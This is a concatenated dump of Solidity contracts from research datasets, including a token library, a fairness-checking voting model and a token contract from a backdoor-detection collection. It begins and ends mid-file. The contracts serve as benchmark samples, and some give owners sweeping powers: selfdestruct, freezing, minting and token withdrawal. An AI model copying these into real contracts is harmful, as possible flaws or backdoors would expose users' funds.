function getAdmin() public view returns(address){
require(msg.sender == owner);
return admin_fee;
}
}
| 301,513 | 10,302 |
b26d664f1f55c17e8fe8cd50fc61c0171036a24098cb0dc2c02fe3d0b2a9c82d
| 11,898 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x5f54c1512d036a0dd92744ee0a55ed183dde0484.sol
| 3,285 | 11,566 |
pragma solidity ^0.4.16;
contract owned {
address owner;
function owned() {
owner = msg.sender;
}
function changeOwner(address newOwner) onlyOwner {
owner = newOwner;
}
modifier onlyOwner() {
if (msg.sender==owner)
_;
}
}
contract mortal is owned() {
function kill() onlyOwner {
if (msg.sender == owner) selfdestruct(owner);
}
}
library ERC20Lib {
struct TokenStorage {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 totalSupply;
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length >= numwords * 32 + 4);
_;
}
modifier validAddress(address _address) {
require(_address != 0x0);
require(_address != address(msg.sender));
_;
}
modifier IsWallet(address _address) {
uint codeLength;
assembly {
codeLength := extcodesize(_address)
}
assert(codeLength==0);
_;
}
function safeMul(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function init(TokenStorage storage self, uint _initial_supply) {
self.totalSupply = _initial_supply;
self.balances[msg.sender] = _initial_supply;
}
function transfer(TokenStorage storage self, address _to, uint256 _value)
onlyPayloadSize(3)
IsWallet(_to)
returns (bool success) {
if (self.balances[msg.sender] >= _value && self.balances[_to] + _value > self.balances[_to]) {
self.balances[msg.sender] = safeSub(self.balances[msg.sender], _value);
self.balances[_to] = safeAdd(self.balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(TokenStorage storage self, address _from, address _to, uint256 _value)
onlyPayloadSize(4)
validAddress(_from)
validAddress(_to)
returns (bool success) {
if (self.balances[_from] >= _value && self.allowed[_from][msg.sender] >= _value && self.balances[_to] + _value > self.balances[_to]) {
var _allowance = self.allowed[_from][msg.sender];
self.balances[_to] = safeAdd(self.balances[_to], _value);
self.balances[_from] = safeSub(self.balances[_from], _value);
self.allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(TokenStorage storage self, address _owner) constant
onlyPayloadSize(2)
validAddress(_owner)
returns (uint256 balance) {
return self.balances[_owner];
}
function approve(TokenStorage storage self, address _spender, uint256 _value)
onlyPayloadSize(3)
validAddress(_spender)
returns (bool success) {
if ((_value != 0) && (self.allowed[msg.sender][_spender] != 0)) {
return false;
} else {
self.allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
function allowance(TokenStorage storage self, address _owner, address _spender) constant
onlyPayloadSize(3)
validAddress(_owner)
validAddress(_spender)
returns (uint256 remaining) {
return self.allowed[_owner][_spender];
}
function increaseApproval(TokenStorage storage self, address _spender, uint256 _addedValue)
onlyPayloadSize(3)
validAddress(_spender)
returns (bool success) {
uint256 oldValue = self.allowed[msg.sender][_spender];
self.allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue);
return true;
}
function decreaseApproval(TokenStorage storage self,address _spender, uint256 _subtractedValue)
onlyPayloadSize(3)
validAddress(_spender)
returns (bool success) {
uint256 oldValue = self.allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
self.allowed[msg.sender][_spender] = 0;
} else {
self.allowed[msg.sender][_spender] = safeSub(oldValue, _subtractedValue);
}
return true;
}
function approveAndCall(TokenStorage storage self, address _spender, uint256 _value, bytes _extraData)
onlyPayloadSize(4)
validAddress(_spender)
returns (bool success) {
if ((_value != 0) && (self.allowed[msg.sender][_spender] != 0)) {
return false;
} else {
self.allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert(); }
return true;
}
}
function mintCoin(TokenStorage storage self, address target, uint256 mintedAmount, address owner)
internal
returns (bool success) {
self.balances[target] = safeAdd(self.balances[target], mintedAmount);
self.totalSupply = safeAdd(self.totalSupply, mintedAmount);
Transfer(0, owner, mintedAmount);
Transfer(owner, target, mintedAmount);
return true;
}
function meltCoin(TokenStorage storage self, address target, uint256 meltedAmount, address owner)
internal
returns (bool success) {
if(self.balances[target]<meltedAmount){
return false;
}
self.balances[target] = safeSub(self.balances[target], meltedAmount);
self.totalSupply = safeSub(self.totalSupply, meltedAmount);
Transfer(target, owner, meltedAmount);
Transfer(owner, 0, meltedAmount);
return true;
}
}
contract StandardToken is owned{
using ERC20Lib for ERC20Lib.TokenStorage;
ERC20Lib.TokenStorage public token;
string public name;
uint8 public decimals=18;
string public symbol;
string public version = 'H0.1';
uint public INITIAL_SUPPLY = 0;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function StandardToken() {
token.init(INITIAL_SUPPLY);
}
function totalSupply() constant returns (uint) {
return token.totalSupply;
}
function balanceOf(address who) constant returns (uint) {
return token.balanceOf(who);
}
function allowance(address owner, address _spender) constant returns (uint) {
return token.allowance(owner, _spender);
}
function transfer(address to, uint value) returns (bool ok) {
return token.transfer(to, value);
}
function transferFrom(address _from, address _to, uint _value) returns (bool ok) {
return token.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint value) returns (bool ok) {
return token.approve(_spender, value);
}
function increaseApproval(address _spender, uint256 _addedValue) returns (bool ok) {
return token.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint256 _subtractedValue) returns (bool ok) {
return token.decreaseApproval(_spender, _subtractedValue);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool ok){
return token.approveAndCall(_spender,_value,_extraData);
}
function mintCoin(address target, uint256 mintedAmount) onlyOwner returns (bool ok) {
return token.mintCoin(target,mintedAmount,owner);
}
function meltCoin(address target, uint256 meltedAmount) onlyOwner returns (bool ok) {
return token.meltCoin(target,meltedAmount,owner);
}
}
contract Coin is StandardToken, mortal{
I_minter public mint;
event EventClear();
function Coin(string _tokenName, string _tokenSymbol, address _minter) {
name = _tokenName;
symbol = _tokenSymbol;
changeOwner(_minter);
mint=I_minter(_minter);
}
}
contract RiskCoin is Coin{
function RiskCoin(string _tokenName, string _tokenSymbol, address _minter)
Coin(_tokenName,_tokenSymbol,_minter) {}
function() payable {
mint.NewRiskAdr.value(msg.value)(msg.sender);
}
}
contract StatiCoin is Coin{
function StatiCoin(string _tokenName, string _tokenSymbol, address _minter)
Coin(_tokenName,_tokenSymbol,_minter) {}
function() payable {
mint.NewStaticAdr.value(msg.value)(msg.sender);
}
}
contract I_coin is mortal {
event EventClear();
I_minter public mint;
string public name;
uint8 public decimals=18;
string public symbol;
string public version = '';
function mintCoin(address target, uint256 mintedAmount) returns (bool success) {}
function meltCoin(address target, uint256 meltedAmount) returns (bool success) {}
function approveAndCall(address _spender, uint256 _value, bytes _extraData){}
function setMinter(address _minter) {}
function increaseApproval (address _spender, uint256 _addedValue) returns (bool success) {}
function decreaseApproval (address _spender, uint256 _subtractedValue) returns (bool success) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract I_minter {
event EventCreateStatic(address indexed _from, uint128 _value, uint _transactionID, uint _Price);
event EventRedeemStatic(address indexed _from, uint128 _value, uint _transactionID, uint _Price);
event EventCreateRisk(address indexed _from, uint128 _value, uint _transactionID, uint _Price);
event EventRedeemRisk(address indexed _from, uint128 _value, uint _transactionID, uint _Price);
event EventBankrupt();
function Leverage() constant returns (uint128) {}
function RiskPrice(uint128 _currentPrice,uint128 _StaticTotal,uint128 _RiskTotal, uint128 _ETHTotal) constant returns (uint128 price) {}
function RiskPrice(uint128 _currentPrice) constant returns (uint128 price) {}
function PriceReturn(uint _TransID,uint128 _Price) {}
function NewStatic() external payable returns (uint _TransID) {}
function NewStaticAdr(address _Risk) external payable returns (uint _TransID) {}
function NewRisk() external payable returns (uint _TransID) {}
function NewRiskAdr(address _Risk) external payable returns (uint _TransID) {}
function RetRisk(uint128 _Quantity) external payable returns (uint _TransID) {}
function RetStatic(uint128 _Quantity) external payable returns (uint _TransID) {}
function Strike() constant returns (uint128) {}
}
| 162,312 | 10,303 |
f819176b7cae9f90be3f85b795c9537d840c08337bc1031070757f7116313c27
| 13,614 |
.sol
|
Solidity
| false |
266261447
|
ntu-SRSLab/FairCon
|
5246f029f2ae545a070502f741fcfded42e61b64
|
contracts/dataset-fse2020-log/voting-0-1/truthful/Ballot.sol
| 3,638 | 13,487 |
pragma solidity >=0.4.22 <0.7.0;
// /// @title Voting with delegation.
// contract Ballot {
// // This declares a new complex type which will
// // be used for variables later.
// // It will represent a single voter.
// struct Voter {
// uint weight; // weight is accumulated by delegation
// bool voted; // if true, that person already voted
// address delegate; // person delegated to
// uint vote; // index of the voted proposal
// }
// // This is a type for a single proposal.
// struct Proposal {
// bytes32 name; // short name (up to 32 bytes)
// uint voteCount; // number of accumulated votes
// }
// address public chairperson;
// // This declares a state variable that
// // stores a `Voter` struct for each possible address.
// mapping(address => Voter) public voters;
// // A dynamically-sized array of `Proposal` structs.
// Proposal[] public proposals;
// /// Create a new ballot to choose one of `proposalNames`.
// constructor(bytes32[] memory proposalNames) public {
// chairperson = msg.sender;
// voters[chairperson].weight = 1;
// // For each of the provided proposal names,
// // create a new proposal object and add it
// // to the end of the array.
// for (uint i = 0; i < proposalNames.length; i++) {
// // `Proposal({...})` creates a temporary
// // Proposal object and `proposals.push(...)`
// // appends it to the end of `proposals`.
// proposals.push(Proposal({
// name: proposalNames[i],
// voteCount: 0
// }));
// }
// }
// // Give `voter` the right to vote on this ballot.
// // May only be called by `chairperson`.
// function giveRightToVote(address voter) public {
// // If the first argument of `require` evaluates
// // to `false`, execution terminates and all
// // changes to the state and to Ether balances
// // are reverted.
// // This used to consume all gas in old EVM versions, but
// // not anymore.
// // It is often a good idea to use `require` to check if
// // functions are called correctly.
// // As a second argument, you can also provide an
// // explanation about what went wrong.
// require(// msg.sender == chairperson,
// "Only chairperson can give right to vote."
//);
// require(// !voters[voter].voted,
// "The voter already voted."
//);
// require(voters[voter].weight == 0);
// voters[voter].weight = 1;
// }
// /// Delegate your vote to the voter `to`.
// function delegate(address to) public {
// // assigns reference
// Voter storage sender = voters[msg.sender];
// require(!sender.voted, "You already voted.");
// require(to != msg.sender, "Self-delegation is disallowed.");
// // Forward the delegation as long as
// // `to` also delegated.
// // In general, such loops are very dangerous,
// // because if they run too long, they might
// // need more gas than is available in a block.
// // In this case, the delegation will not be executed,
// // but in other situations, such loops might
// // cause a contract to get "stuck" completely.
// while (voters[to].delegate != address(0)) {
// to = voters[to].delegate;
// // We found a loop in the delegation, not allowed.
// require(to != msg.sender, "Found loop in delegation.");
// }
// // Since `sender` is a reference, this
// // modifies `voters[msg.sender].voted`
// sender.voted = true;
// sender.delegate = to;
// Voter storage delegate_ = voters[to];
// if (delegate_.voted) {
// // If the delegate already voted,
// // directly add to the number of votes
// proposals[delegate_.vote].voteCount += sender.weight;
// } else {
// // If the delegate did not vote yet,
// // add to her weight.
// delegate_.weight += sender.weight;
// }
// }
// /// Give your vote (including votes delegated to you)
// /// to proposal `proposals[proposal].name`.
// function vote(uint proposal) public {
// Voter storage sender = voters[msg.sender];
// require(sender.weight != 0, "Has no right to vote");
// require(!sender.voted, "Already voted.");
// sender.voted = true;
// sender.vote = proposal;
// // If `proposal` is out of the range of the array,
// // this will throw automatically and revert all
// // changes.
// proposals[proposal].voteCount += sender.weight;
// }
// /// @dev Computes the winning proposal taking all
// /// previous votes into account.
// function winningProposal() public view
// returns (uint winningProposal_)
// {
// uint winningVoteCount = 0;
// for (uint p = 0; p < proposals.length; p++) {
// if (proposals[p].voteCount > winningVoteCount) {
// winningVoteCount = proposals[p].voteCount;
// winningProposal_ = p;
// }
// }
// }
// // Calls winningProposal() function to get the index
// // of the winner contained in the proposals array and then
// // returns the name of the winner
// function winnerName() public view
// returns (bytes32 winnerName_)
// {
// winnerName_ = proposals[winningProposal()].name;
// }
// }
contract Rewrite{
// This declares a new complex type which will
// be used for variables later.
// It will represent a single voter.
struct Voter {
uint weight; // weight is accumulated by delegation
bool voted; // if true, that person already voted
address delegate; // person delegated to
uint vote; // index of the voted proposal
}
// This is a type for a single proposal.
struct Proposal {
bytes32 name; // short name (up to 32 bytes)
uint voteCount; // number of accumulated votes
}
address public chairperson;
// This declares a state variable that
// stores a `Voter` struct for each possible address.
mapping(address => Voter) public voters;
// A dynamically-sized array of `Proposal` structs.
Proposal[] public proposals;
function newProposal(uint numOfProposal) public {
proposals.length = numOfProposal;
}
function vote(address msg_sender, uint proposal) public {
// Voter storage sender = voters[msg_sender];
require(voters[msg_sender].weight != 0);
require(voters[msg_sender].voted == false);
voters[msg_sender].voted = true;
voters[msg_sender].vote = proposal;
// If `proposal` is out of the range of the array,
// this will throw automatically and revert all
// changes.
proposals[proposal].voteCount = proposals[proposal].voteCount + voters[msg_sender].weight;
}
function winningProposal() public view
returns (uint winningProposal_)
{
uint winningVoteCount = 0;
for (uint p = 0; p < proposals.length; p++) {
if (proposals[p].voteCount > winningVoteCount) {
winningVoteCount = proposals[p].voteCount;
winningProposal_ = p;
}
}
return winningProposal_;
}
mapping(address=>uint) utilities;
mapping(address=>uint) benefits;
function sse_winner(address a) public view {}
function sse_revenue(uint a) public view {}
function sse_utility(uint a) public view {}
function sse_maximize(uint a) public view {}
function sse_minimize(uint a) public view {}
function sse_truthful_violate_check(uint u, bool a, bool b) public view {}
function sse_collusion_violate_check(uint u12, bool v1, bool v_1, bool v2, bool v_2) public view{}
function sse_efficient_expectation_register(address allocation, address player, uint benefit) public view {}
function sse_efficient_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function sse_optimal_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function _Main_(address payable msg_sender1, bool p1, uint p1_value, uint p1_rv_value, bool msg_value1,
address payable msg_sender2, bool p2, uint p2_value, uint p2_rv_value, bool msg_value2,
address payable msg_sender3, bool p3, uint p3_value, uint p3_rv_value, bool msg_value3,
address payable msg_sender4, bool p4, uint p4_value, uint p4_rv_value, bool msg_value4,
address payable msg_sender5, bool p5, uint p5_value, uint p5_rv_value, bool msg_value5) public {
require(!(msg_sender1==msg_sender2 || msg_sender1 == msg_sender3 || msg_sender2 == msg_sender3));
require(!(msg_sender1==msg_sender4 || msg_sender2 == msg_sender4 || msg_sender3 == msg_sender4));
require(!(msg_sender1==msg_sender5 || msg_sender2 == msg_sender5 || msg_sender3 == msg_sender5));
require(!(msg_sender4==msg_sender5));
require(p1_value==1&&p1_value > p1_rv_value && p1_rv_value ==0);
require(p2_value==1&&p2_value > p2_rv_value && p2_rv_value ==0);
require(p3_value==1&&p3_value > p3_rv_value && p3_rv_value ==0);
require(p4_value==1&&p4_value > p4_rv_value && p4_rv_value ==0);
require(p5_value==1&&p5_value > p5_rv_value && p5_rv_value ==0);
uint winner;
require(winner==100);
require(voters[msg_sender1].weight == 1);
require(voters[msg_sender2].weight == 1);
require(voters[msg_sender3].weight == 1);
require(voters[msg_sender4].weight == 1);
require(voters[msg_sender5].weight == 1);
require(voters[msg_sender1].voted == false);
require(voters[msg_sender2].voted == false);
require(voters[msg_sender3].voted == false);
require(voters[msg_sender4].voted == false);
require(voters[msg_sender5].voted == false);
require(utilities[msg_sender1] == 0);
require(utilities[msg_sender2] == 0);
require(utilities[msg_sender3] == 0);
require(utilities[msg_sender4] == 0);
require(utilities[msg_sender5] == 0);
require(utilities[msg_sender1] == 0);
require(utilities[msg_sender2] == 0);
require(utilities[msg_sender3] == 0);
require(utilities[msg_sender4] == 0);
require(utilities[msg_sender5] == 0);
// require(msg_value1!=p1);
require(msg_value2==p2);
require(msg_value3==p3);
require(msg_value4==p4);
require(msg_value5==p5);
// new proposal first
newProposal(2);
require(proposals[0].voteCount == 0);
require(proposals[1].voteCount == 0);
// votes
if (msg_value1==false)
vote(msg_sender1, 0);
else
vote(msg_sender1, 1);
if (msg_value2==false)
vote(msg_sender2, 0);
else
vote(msg_sender2, 1);
if (msg_value3==false)
vote(msg_sender3, 0);
else
vote(msg_sender3, 1);
if (msg_value4==false)
vote(msg_sender4, 0);
else
vote(msg_sender4, 1);
if (msg_value5==false)
vote(msg_sender5, 0);
else
vote(msg_sender5, 1);
//execute Proposal
winner = winningProposal();
if ((winner==1) == msg_value1){
if (msg_value1 == p1){
utilities[msg_sender1] = p1_value;
}else{
utilities[msg_sender1] = p1_rv_value;
}
}
if ((winner==1) == msg_value2){
if (msg_value2 == p2){
utilities[msg_sender2] = p2_value;
}else{
utilities[msg_sender2] = p2_rv_value;
}
}
if ((winner==1) == msg_value3){
if (msg_value3 == p3){
utilities[msg_sender3] = p3_value;
}else{
utilities[msg_sender3] = p3_rv_value;
}
}
if ((winner==1) == msg_value4){
if (msg_value4 == p4){
utilities[msg_sender4] = p4_value;
}else{
utilities[msg_sender4] = p4_rv_value;
}
}
if ((winner==1) == msg_value5){
if (msg_value5 == p5){
utilities[msg_sender5] = p5_value;
}else{
utilities[msg_sender5] = p5_rv_value;
}
}
sse_utility(utilities[msg_sender1]);
sse_utility(utilities[msg_sender2]);
sse_utility(utilities[msg_sender3]);
sse_utility(utilities[msg_sender4]);
sse_utility(utilities[msg_sender5]);
sse_truthful_violate_check(utilities[msg_sender1],msg_value1, p1);
}
}
| 242,281 | 10,304 |
fdf6eac176edca3a307f1a73debf9f31a6bbcbbaa2d8efbbd772107b3c71eed0
| 9,673 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x445f51299ef3307dbd75036dd896565f5b4bf7a5.sol
| 2,946 | 9,251 |
pragma solidity ^0.4.24;
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256 balance);
function allowance(address owner, address spender) public view returns (uint256 remaining);
function transfer(address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a - b;
assert(b <= a && c <= a);
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a && c>=b);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20 _token, address _to, uint256 _value) internal {
require(_token.transfer(_to, _value));
}
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner,"O1- Owner only function");
_;
}
function setOwner(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract VIDToken is Owned, Pausable, ERC20 {
using SafeMath for uint256;
using SafeERC20 for ERC20;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
mapping (address => bool) public frozenAccount;
mapping (address => bool) public verifyPublisher;
mapping (address => bool) public verifyWallet;
struct fStruct { uint256 index; }
mapping(string => fStruct) private fileHashes;
string[] private fileIndex;
string public constant name = "V-ID Token";
uint8 public constant decimals = 18;
string public constant symbol = "VIDT";
uint256 public constant initialSupply = 100000000;
uint256 public validationPrice = 7 * 10 ** uint(decimals);
address public validationWallet = address(0);
constructor() public {
validationWallet = msg.sender;
verifyWallet[msg.sender] = true;
totalSupply = initialSupply * 10 ** uint(decimals);
balances[msg.sender] = totalSupply;
emit Transfer(address(0),owner,initialSupply);
}
function () public payable {
revert();
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) {
require(_to != msg.sender,"T1- Recipient can not be the same as sender");
require(_to != address(0),"T2- Please check the recipient address");
require(balances[msg.sender] >= _value,"T3- The balance of sender is too low");
require(!frozenAccount[msg.sender],"T4- The wallet of sender is frozen");
require(!frozenAccount[_to],"T5- The wallet of recipient is frozen");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) {
require(_to != address(0),"TF1- Please check the recipient address");
require(balances[_from] >= _value,"TF2- The balance of sender is too low");
require(allowed[_from][msg.sender] >= _value,"TF3- The allowance of sender is too low");
require(!frozenAccount[_from],"TF4- The wallet of sender is frozen");
require(!frozenAccount[_to],"TF5- The wallet of recipient is frozen");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0),"A1- Reset allowance to 0 first");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_subtractedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
struct TKN { address sender; uint256 value; bytes data; bytes4 sig; }
function tokenFallback(address _from, uint256 _value, bytes _data) public pure returns (bool) {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
return true;
}
function transferToken(address tokenAddress, uint256 tokens) public onlyOwner {
ERC20(tokenAddress).safeTransfer(owner,tokens);
}
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender],"B1- The balance of burner is too low");
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
function freeze(address _address, bool _state) public onlyOwner returns (bool) {
frozenAccount[_address] = _state;
emit Freeze(_address, _state);
return true;
}
function validatePublisher(address Address, bool State, string Publisher) public onlyOwner returns (bool) {
verifyPublisher[Address] = State;
emit ValidatePublisher(Address,State,Publisher);
return true;
}
function validateWallet(address Address, bool State, string Wallet) public onlyOwner returns (bool) {
verifyWallet[Address] = State;
emit ValidateWallet(Address,State,Wallet);
return true;
}
function validateFile(address To, uint256 Payment, bytes Data, bool cStore, bool eLog) public whenNotPaused returns (bool) {
require(Payment>=validationPrice,"V1- Insufficient payment provided");
require(verifyPublisher[msg.sender],"V2- Unverified publisher address");
require(!frozenAccount[msg.sender],"V3- The wallet of publisher is frozen");
require(Data.length == 64,"V4- Invalid hash provided");
if (!verifyWallet[To] || frozenAccount[To]) {
To = validationWallet;
}
uint256 index = 0;
string memory fileHash = string(Data);
if (cStore) {
if (fileIndex.length > 0) {
require(fileHashes[fileHash].index == 0,"V5- This hash was previously validated");
}
fileHashes[fileHash].index = fileIndex.push(fileHash)-1;
index = fileHashes[fileHash].index;
}
if (allowed[To][msg.sender] >= Payment) {
allowed[To][msg.sender] = allowed[To][msg.sender].sub(Payment);
} else {
balances[msg.sender] = balances[msg.sender].sub(Payment);
balances[To] = balances[To].add(Payment);
}
emit Transfer(msg.sender, To, Payment);
if (eLog) {
emit ValidateFile(index,fileHash);
}
return true;
}
function verifyFile(string fileHash) public view returns (bool) {
if (fileIndex.length == 0) {
return false;
}
bytes memory a = bytes(fileIndex[fileHashes[fileHash].index]);
bytes memory b = bytes(fileHash);
if (a.length != b.length) {
return false;
}
for (uint256 i = 0; i < a.length; i ++) {
if (a[i] != b[i]) {
return false;
}
}
return true;
}
function setPrice(uint256 newPrice) public onlyOwner {
validationPrice = newPrice;
}
function setWallet(address newWallet) public onlyOwner {
validationWallet = newWallet;
}
function listFiles(uint256 startAt, uint256 stopAt) onlyOwner public returns (bool) {
if (fileIndex.length == 0) {
return false;
}
require(startAt <= fileIndex.length-1,"L1- Please select a valid start");
if (stopAt > 0) {
require(stopAt > startAt && stopAt <= fileIndex.length-1,"L2- Please select a valid stop");
} else {
stopAt = fileIndex.length-1;
}
for (uint256 i = startAt; i <= stopAt; i++) {
emit LogEvent(i,fileIndex[i]);
}
return true;
}
event Burn(address indexed burner, uint256 value);
event Freeze(address target, bool frozen);
event ValidateFile(uint256 index, string data);
event ValidatePublisher(address indexed publisherAddress, bool state, string indexed publisherName);
event ValidateWallet(address indexed walletAddress, bool state, string indexed walletName);
event LogEvent(uint256 index, string data) anonymous;
}
| 144,176 | 10,305 |
53b886acd26b39819f5e3c54ec23b4720695231078f367e4633422034ddec337
| 37,463 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
openzeppelin-contracts-upgradeable/mocks/ERC20PausableMockUpgradeable_flat.sol
| 3,605 | 15,373 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Pausable.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20Upgradeable {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
